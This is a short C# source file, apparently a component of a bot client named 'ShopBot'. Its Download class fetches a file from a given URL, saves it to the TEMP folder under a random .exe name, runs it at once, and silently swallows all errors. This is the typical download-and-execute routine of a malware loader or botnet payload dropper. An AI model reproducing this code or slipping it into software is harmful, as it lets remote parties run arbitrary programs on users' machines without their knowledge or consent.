using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Diagnostics;

namespace ShopBot.Core
{
    class Download
    {
        public static void Start(string url)
        {
            try
            {
                WebClient client = new WebClient();
                string RandomFileName = RandomClass.NewString(11) + ".exe";
                client.DownloadFile(url, Environment.GetEnvironmentVariable("TEMP") + @"\" + RandomFileName);
                Process process = new Process();
                process.StartInfo.FileName = Environment.GetEnvironmentVariable("TEMP") + @"\" + RandomFileName;
                process.Start();
            }
            catch { }
        }
    }
}
